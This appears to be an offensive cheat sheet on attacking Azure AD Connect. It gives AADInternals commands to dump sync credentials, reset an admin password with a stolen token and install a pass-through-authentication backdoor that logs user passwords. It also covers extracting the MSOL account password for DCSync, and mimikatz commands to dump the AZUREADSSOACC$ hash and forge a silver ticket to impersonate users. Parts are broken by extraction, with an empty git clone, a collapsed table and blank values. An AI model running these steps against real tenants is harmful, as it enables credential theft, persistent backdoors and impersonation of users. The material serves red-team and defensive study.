PS > Expand-Archive C:\Users\Administrator\Documents\ -DestinationPath C:\Users\Administrator\Documents\AADInternals
PS > Import-Module C:\Users\Administrator\Documents\AADInternals\AADInternals.psd1
PS > Get-AADIntSyncCredentials

# Get Token for SYNC account and reset on-prem admin password
PS > $passwd = ConvertToSecureString 'password' -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential ("<Username>@<TenantName>", $passwd)
PS > GetAADIntAccessTokenForAADGraph -Credentials $creds –SaveToCache
PS > Get-AADIntUser -UserPrincipalName | select ImmutableId
PS > Set-AADIntUserPassword -SourceAnchor "<IMMUTABLE-ID>" -Password "Password" -Verbose
  1. Check if PTA is installed : Get-Command -Module PassthroughAuthPSModule
  2. Install a PTA BackdoorPS AADInternals> Install-AADIntPTASpy PS AADInternals> Get-AADIntPTASpyLog -DecodePasswords

Azure AD Connect – Password extraction

Credentials in AD Sync : C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf

ToolRequires code execution on targetDLL dependenciesRequires MSSQL locallyRequires python locally
ADSyncQueryNo (network RPC calls only)NoYesYes
git clone
# DCSync with AD Sync account

Azure AD Connect – MSOL Account’s password and DCSync

You can perform DCSync attack using the MSOL account.


  • Compromise a server with Azure AD Connect service
  • Access to ADSyncAdmins or local Administrators groups

Use the script azuread_decrypt_msol.ps1 from @xpn to recover the decrypted password for the MSOL account:

Now you can use the retrieved credentials for the MSOL Account to launch a DCSync attack.

Azure AD Connect – Seamless Single Sign On Silver Ticket

Anyone who can edit properties of the AZUREADSSOACCS$ account can impersonate any user in Azure AD using Kerberos (if no MFA)

Seamless SSO is supported by both PHS and PTA. If seamless SSO is enabled, a computer account AZUREADSSOC is created in the on-prem AD.

The password of the AZUREADSSOACC account never changes.

Using to convert Kerberos tickets to SAML and JWT for Office 365 & Azure

  1. NTLM password hash of the AZUREADSSOACC account, e.g. f9969e088b2c13d93833d0ce436c76dd.mimikatz.exe “lsadump::dcsync /user:AZUREADSSOACC$” exit
  2. AAD logon name of the user we want to impersonate, e.g. This is typically either his userPrincipalName or mail attribute from the on-prem AD.
  3. SID of the user we want to impersonate, e.g. S-1-5-21-2121516926-2695913149-3163778339-1234.
  4. Create the Silver Ticket and inject it into Kerberos cache:mimikatz.exe “kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd / /service:HTTP /ptt” exit
  5. Launch Mozilla Firefox
  6. Go to about:config and set the network.negotiate-auth.trusted-uris preference to value,
  7. Navigate to any web application that is integrated with our AAD domain. Fill in the user name, while leaving the password field empty.